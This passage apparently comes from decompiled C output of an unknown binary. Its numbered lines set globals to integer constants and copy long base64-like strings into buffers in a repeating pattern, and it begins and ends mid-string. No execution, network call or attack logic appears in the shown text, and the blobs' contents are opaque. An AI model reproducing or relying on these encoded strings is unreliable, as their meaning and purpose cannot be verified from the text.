aKV6hjmvmVZaSqap4Id5bmE0ygYy4Yu8foJOgepheiUoBMJ6sEE2iJ+0kz0CiteZitgvfsY3Cw10DRvupMp14UrX43NWEZirinj+99Ay36xRs6KzpPiXRcpLbOwVY0pJPKj5UxZkG6tz5wziy0ZEsTLD0NQTA9lrxxCSQ0EupqyaW5flVuiVmD3PsIG0a6hkzNn9Ne/GJ5redmAF1DytSDWxoH4uEzdG2bN/Zlf9DW6pyBMblr3ZsZxjcLTG0dl2t+v+3k/uoWVsy9tm8c1GXe5UU6bmeQoTNckekNd1s6fIeK7wMaStu3KQjlan0TtuummxbBCHyRcwKcT6ImPlt+bk7No9m04cFBKFqZJYzYIjtGHUOgGMxsfdbjmSW3nClk98XpOoKug+2vcD0SBYrAZoqB4Mf/LLpWuZeYIbU+AEKZj2u6xb", 365);
  2835.     g291 = -0x3a000000;
  2836.     g292 = 0x3f48ca2c;
  2837.     *(int16_t *)&g293 = 0;
  2838.     g294 = g6;
  2839.     g295 = 1233;
  2840.     memcpy((char *)&g296, "yyGsXRpF1mi20mnrxau9P+3M/yTl6Hy02KgZOaKv/JNxkk/GFg70MaDu88N94oeQzV8cOCpzoTCEeBrx8hTwj9TgrlgZvXze353pfSwVS5xFcPT+Gmp1E1TMadDs0nlbPlGBftJmUsG7mvQfgv4XYX0AMxz5YrqwGJfvTxKniphkH0HXhQlkKV0w/J/IVfQFQcGVrh3zZeE9PByrd7oxpyNSiXlIU9AUZp7WKzuVPIMQx3y4/g6QZbZprnHbUCiv9fVqYSj3+cwna2fn7kxdHqTGF13uO4uivs86us1LLjCZeiB4Zo4ih/2f4DNmcWoXHmb3FIWmNCm5LQM7Omt1BXKyaUyPUz5z0Z8HBNxhZNjepldrabniSaClovGr/IwlgOD8OqCcKqOiQaDknm42wYGpmiz9Cu9EJ4MlMXu7wK15mDoq8LjQGc/MIbd4tNUoGPn5IFTEgUW6WiWoOPPY8KQ1qDj+aj6+fa4nE110n8PKNq2bP7yT+4ECd9Lq+vZJ/M1sA3R0EgHrHbYwugIZ5pASDi2LnPObGl8cJS/UQHkDtSLetS2yWFfU+iWIDjRRevP/bhH772zLl3gQWvwbzNO9w3DwQXMnHYax5IGrteBE2MkVM6i+lIuARztgedFvit2bBEL60yH/3rW+nXGc8GWsIblQ60OLsm7guRTTIV4urL/7R1pUT5duqZDOd3XSXctur2mjI4s0yj0WJP7uKwyGdt2efzPBOc0lhwDbEzoBfYGbayxH4uzo2kVFaDMfqCsFNHOLesj2DEYYN+56MNjj9EyPeaKV6hjmvmVZaSqap4Id5bmE0ygYy4Yu8foJOgepheiUoBMJ6sEE2iJ+0kz0CiteZitgvfsY3Cw10DRvupMp14UrX43NWEZirinj+99Ay36xRs6KzpPiXRcpLbOwVY0pJPKj5UxZkG6tz5wziy0ZEsTLD0NQTA9lrxxCSQ0EupqyaW5flVuiVmD3PsIG0a6hkzNn9Ne/GJ5redmAF1DytSDWxoH4uEzdG2bN/Zlf9DW6pyBMblr3ZsZxjcLTG0dl2t+v+3k/uoWVsy9tm8c1GXe5UU6bmeQoTNckekNd1s6fIeK7wMaStu3KQjlan0TtuummxbBCHyRcwKcT6ImPlt+bk7No9m04cFBKFqZJYzYIjtGHUOgGMxsfdbjmSW3nClk98XpOoKug+2vcD0SBYrAZoqB4Mf/LLpWuZeYIbU+AEKZj2u6xb", 308);
  2841.     *(char *)&g296 = 121;
  2842.     g297 = 0;
  2843.     g298 = 0x3f058762;
  2844.     *(int16_t *)&g299 = 0;
  2845.     g300 = g6;
  2846.     g301 = 1502;
  2847.     memcpy((char *)&g302, (char *)&g37, 375);
  2848.     *(int16_t *)&g302 = *(int16_t *)&g37;
  2849.     g303 = 0x55200000;
  2850.     g304 = 0x3f913347;
  2851.     *(int16_t *)&g305 = 0;
  2852.     g306 = g6;
  2853.     g307 = v3;
  2854.     memcpy((char *)&g308, "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", 365);
  2855.     g309 = -0x1c000000;
  2856.     g310 = 0x3f3fb4cc;
  2857.     *(int16_t *)&g311 = 0;
  2858.     g312 = g6;
  2859.     g313 = 1233;
  2860.     memcpy((char *)&g314, "eKMqA66qFwypBXcJGo/DozC9ZpPdTTDWxm5QJCiG6cwVOyapdsttOPJ6M041u/ajk3fB9xJ5rNeRJvAnvC0G9TAWBirQNarF0510ha3xISYvyoLpwLF+eQxJN1E5Ezdhy10qQqJejfWelL0XdUu2jv0XaDg0mE0x+zgoxIpmKQIp7AMGyKYr7jhyYrmvswkb4gjYXnoQggTv2zYtHs6+Pf6x5eYVU+8yMG25loa2OIQ4JEjfDAJ+ihoiEQDrqj+L1/FzphXtqGvQkTx34OMOHgMNcasKdv96ykr7kDiDnmilhpek2gji9kju0pJFFcT/WdKy7jelCWuFMkBndIX8wlyGeaysOvYBBECd3eZ66npn8NWbz+z7hfQbR9LI2W9wO8TDCPCdkiYxM0AAYMz3iDaYhkcW73S5SSWLYnGm8I+S1c4hU7CKD84gEvn0vYZKE3dMKFvotZ/mMntRvIfX1ZuhRvmkD+PQyA5bRSyZicq0V2smJots3a2Fgv+/Znj9HbtMB62SdFfXBTkh6TOvVBigd6tD/FhXcBhnKOO3hxfxbekatKUmaLJfcc0XY9sjhdlOd72p8YNwAxY8I4JPm4KjjP9rRidIYd268eKpJrfSabnQl1pXICOmaXHI3JsleZU6xovShiyEBu2W/DtXh7XxhtCWyvRB6H1LJrce//t2eQI5lCh6Yj+BT5wD80g91YzO5y65ANi5bG1MgaX7fLkk2sIkdRfVrds/fFRp18Ru0TjDGtp56qCm+levn8ly7zR9hUIO3ecROVM3URLcpUagw8CromdrovaxV70KWJdAnZmLygbRIuSEn0SltQmAb5qC7BFIixqTjxDNvxo98ullF9qmwuyYmG6BUlmcDhnwJD2+cJtYfblgVNcrt8Y9W7+Jhzf9+h5xsfz3ScbSEmz42TyDa8lla2fMsQt8GOSSO/wFN00FVd+wuBcm0rGOv6VEZKJdpb9b4L/TRmZ3ltv6Cy7YXORpWRmhLXjHMyb2vYhy6F8KG8QUSpBt6JlA7Kwo9REui+EGCNHtWtQeFGu/rKcBMd1Sz5MF2uBLLOUa6snEous4C3Gsa6RD02aYO9aJxcvK2TvOneBOUArwewRgJJshizDUa/LVzLrA/HnaizLozZkat6ZH3pzGBQsXiZmNaXlXTVkAHn1Bu2Yx6bgtdFho9BjE40jabevewhaKDtl5QMUugNV189hxvkJshEFUAbIC/bK4s5ZMI", 308);
  2861.     *(char *)&g314 = 101;
  2862.     g315 = -0x20000000;
  2863.     g316 = 0x3f07cacc;
  2864.     *(int16_t *)&g317 = 0;
  2865.     g318 = g6;
  2866.     g319 = 1502;
  2867.     memcpy((char *)&g320, (char *)&g38, 375);
  2868.     *(int16_t *)&g320 = *(int16_t *)&g38;
  2869.     g321 = 0x20000000;
  2870.     g322 = 0x3f1372ac;
  2871.     *(int16_t *)&g323 = 0;
  2872.     g324 = g6;
  2873.     g325 = v3;
  2874.     memcpy((char *)&g326, "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", 365);
  2875.     g327 = 0x70000000;
  2876.     g328 = 0x3f2af887;
  2877.     *(int16_t *)&g329 = 0;
  2878.     g330 = g6;
  2879.     g331 = 1233;
  2880.     memcpy((char *)&g332, "aDarhzDiYd09u2z9A7mdMUrgj73sfY57/Js9MbgLOoyQDHoSTGYgL5oNKD2i404mzzPg6w/ayLDGGAWTr16zxjcEHtbF6fKsNTHA3qRpsFTWSOd4p6hTpJ3XfD/+dxKr0kzu9xGBT/yn9H5AIHrS2nLzqILVSstzWV7mHaWiFxLshX/+r3O4jOVnAhF6ZflziFbf3NipUiWX7jJ7GAK/MD1c9Iwp8OOQkUtmkWvbfIm4DAvlfdU6u9gIwSF6occJdlmQpRSbFjSa+ozyh71UDvBdZOfQC+Ea35M9PDroP0dXkHrCL3zYnOEwoey0y0lnyw1vBkPmwl2pZ7Ue5+sFH4OW6uVLLuwucOk+HaixbXtbdQ49ozYeVb59oau8vt/hZHyHAHlo2GA3ftxH95kTkKdGtEbMfbdMxurHPTBKTm5MG6Y75759GekXc8YmxWD9nO5tFVaQvP8uRCt5q3hIycfQUnnzWBhAHD95r8ITOsP1f/USuQkXNdB+S1cevKIGnAvWBDPTKCZx0WleHC5gAS8r5qM/+GWmbqdGt4LcrgNQutixkgQh1jnDWCY0Td65cXHmKMYi4NRpgQu2Nyelth0SlOOalZtc8WGRFUrm2ZuCQpqSN9Z71t3PqXBOQIuQOvBm7DRt8LiOGWJ4Fgiw8zLUckIARWEUXUjklpNKgfWJR0DVxM6NGPBka6PlSXaaDn6cO35Likjr6hlVB8cOLTnmUzaUvSa3lR3RXRPG2rgZ3ARZALJ17t9dGs1u5EuNcl0UTmZ4FCpqYHadNm0frUnLz3f1VAHc/0/0jjEyMj+h4FMHHDslnvti7ajC1ws7EoOjVXfDV7GDyKJEr2CojIepkRTfLHNLMCd98YT1DYZRB/a8if3FzhYRMAZb1QKW9FiQi0HJra7eYXjA8cx4wZCq/M7XjTkXx6uSJUIGo45e6o6oE/PV/a18NryPB7YyO3tQz3BuSF3CKDxp3r4X+YgX+8yaQSKXmJVrXh3JLeSjtySsoYAUv49zfJVpmvsjXTXe1ZVXjg1dHXOB/286pHGYQsUSI1gPma99cJNVyLq/2NWfkvj67Kuu8gIuBOZpzsYvO8ZGSy4r+vj/kMIxyPqScm8n8oJmDkVyMvaSb/PIDjLf9gT41Zak2qiiobBtWWQlisXBNNLrx7VC9UYLDm4riZgYfVjvNI0DdSCzxwm880gSQghGcZDth6qfL//y/JWArPrY397u7IQDQ", 308);
  2881.     *(char *)&g332 = 97;
  2882.     g333 = 0x70000000;
  2883.     g334 = 0x3f1cafdb;
  2884.     *(int16_t *)&g335 = 0;
  2885.     g336 = g6;
  2886.     g337 = 1502;
  2887.     memcpy((char *)&g338, (char *)&g39, 375);
  2888.     *(int16_t *)&g338 = *(int16_t *)&g39;
  2889.     g339 = 0x4e200000;
  2890.     g340 = 0x3f920a9d;
  2891.     *(int16_t *)&g341 = 0;
  2892.     g342 = g6;
  2893.     g343 = v3;
  2894.     memcpy((char *)&g344, "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", 365);
  2895.     g345 = 0x20000000;
  2896.     g346 = 0x3f09f676;
  2897.     *(int16_t *)&g347 = 0;
  2898.     g348 = g6;
  2899.     g349 = 1233;
  2900.     memcpy((char *)&g350, "8Gr+oY69mXfBlpNO2GZ6gJVmNmng8wE4H94mYqqpXhrlp8HmBJcxzJW+VytsVwwtjkV8dcFfUEy2LXibUVsZ0tfkm2XnaCOCZUHFyaKFqSTjE55pwE7+DgzsTdkzYoto+oHVumDSUFsKjuxxKOAXEWxNvSIUdEB2Za75OR8ymYK9aUq52ZNG9E13awruW7eUn6L1krq54Y4wHVB5QCkD18ZrT9S+SeOraduhHd1kgU6v98NS2PzySgSSaOT6vh8ZBAROFoy6+yEP+5qhRcCAvVhAyylGn1ORV39sHJldQYFaUMCkbTwtFn8CZbBQcag+wUtiNiVMmaoIh4yZx5oYYkfd9YnV4TzEQeB5HkvRHfHqU/CZsRTJKVl3qSOAMrhQZrKqzowfLI3LSOCf+C3bloIQu8u4SWreQ55C+o0t+/RrfMdZwKei24tlGXqWY7sch/2E+ot7kwi5fZLwO6pu39WvnI/wVWFfka8BCcMgidP7O7ql2LotXHgs5ySAdSOckbtJmo4h08XFV0p715lZEBHlbyYBewCb9agZPVPzDWKVT94uR68Kw3RFtCuXs8gGpgfGo/bT/yuScolH+ogjOOxAuoh2o+bFGQ0MZ3NVnGSlZn4wrHF6rkLqTXWH1oyt7ZFsCWV+EskFhRWbyM96a0THCcdSkLISfZXHYKkzKcgELIMM8qVBqXl8Ni2yxemE2n8zQuXsUir6z0gAKL+6dRkMcdAUt9Q+g+ygmMHxSl7Nxl/KJfGTBd8uBCY+8VB58e21lL8bLe0Go9kfDJCJ/FkZJGkVgK5F4eZX/zERhD2CyDNBrgirjwCeKgFcGDttFqudl5tXmPvJh7RQJsZ/wFX9y28zvzY/rBKNi3Mrxgsjf2p7r0pCJMOaEL+mOdlPlbLWrpY5HNwTgEtw0rV3ARznLMA9AaxJKwF3nlRi3is3k6EaWnnfQmkVI6/vJk8fZNs005MECGxLZohesLAh4eGp9F+BCg3PB4Xkmhsd5Dfj9mVz+lRw3gjEC88kX9tpxDXr8SUAw9hnBmjUrshletxdp9HC0nUiXx6rzZ54vsswauif+d89YgO1hEtsbfOP9COW58OYiqkunK012HsHOjoPyd4T2t9wKhMNDB/YX0e/ks/T4YBOhjoy/r3fDSBSIfgR5+kT6KD24XiwvrlrUP5FJN58Y2kWYbINeNDIydOipJr8Vu5fh8byKy34IbvWxzF0k4bAyWuIjebXi", 308);
  2901.     *(char *)&g350 = 56;
  2902.     g351 = -0x20000000;
  2903.     g352 = 0x3f15170a;
  2904.     *(int16_t *)&g353 = 0;
  2905.     g354 = g6;
  2906.     g355 = 1502;
  2907.     memcpy((char *)&g356, (char *)&g40, 375);
  2908.     *(int16_t *)&g356 = *(int16_t *)&g40;
  2909.     g357 = 0x50000000;
  2910.     g358 = 0x3f105d45;
  2911.     *(int16_t *)&g359 = 0;
  2912.     g360 = g6;
  2913.     g361 = v3;
  2914.     memcpy((char *)&g362, "66ntOWJxpBzGFQqHcNWAAUcW8YAJ4Ay7qtdrNSfSTP78pxyzJ8NiAxs8OaU6dkuYbkPV1ZK3vLnhaDVZMr1Uxr6c5eiuFS5F9zA0Y5Tlvj97PQO0Ux2JD7A40Kjhtm0Vq6yVd3iXxlQ1NJs72MMIHqmciv0E2ACx61hvSgnyN2MeoefeNQE74w1UpU1cegoWZkvwZbTBc+2iN+dOQkmWWc8rHEbFrYT73FJ419GN52GBczKFe1+5dvwjTV2i3D9JKTaBUTTnQe18exClzJ9dObbiwgPkWpd52XY3Kzso2A7aPbZywY4gT4xU/TXTWOfa++kcZeEyZPVhA7nYAQ8mATGrSANlJbkOby48Rt9oaGVxjhC/bd8Y7Zm0y5NfyoR76PcwDlloSkftk+KjpSKA4RwJf3k9Z/cqhJ3tR3IQJM+S8izwvnuc+h6wwaY8n8o7Aacar1mgWyo5g63EIHMnftqKnTrgXCPsd6H6fznkqNRjK/pyW2bJXYLZiT8Jvo7faAFjNTfPPFM06F+0YsFgxZ+bCI3Sb9/NjaE5gvQMixyO13xtp1X2/2xzsBoVkYT7gqbONP9wNsOHP5uhpj/PLHWLT26K6L83oD5UZgJuIomdA2cOSzI+SU5J9Wc/GNysTAAB4A5JchDFnfyVVhxfexjoQ19HE4ctdxuhxCXMh2oQfHkYe2cxb1Y3Q6uH4RK4arOrWXNtnguJjYGMMXTCTtKyODq/jcFqkRhtipN9m/tXHTmocJX+8yxUJkrqii2gN78ZTXGuMYcmli5xBAXC/QxYOyQv4c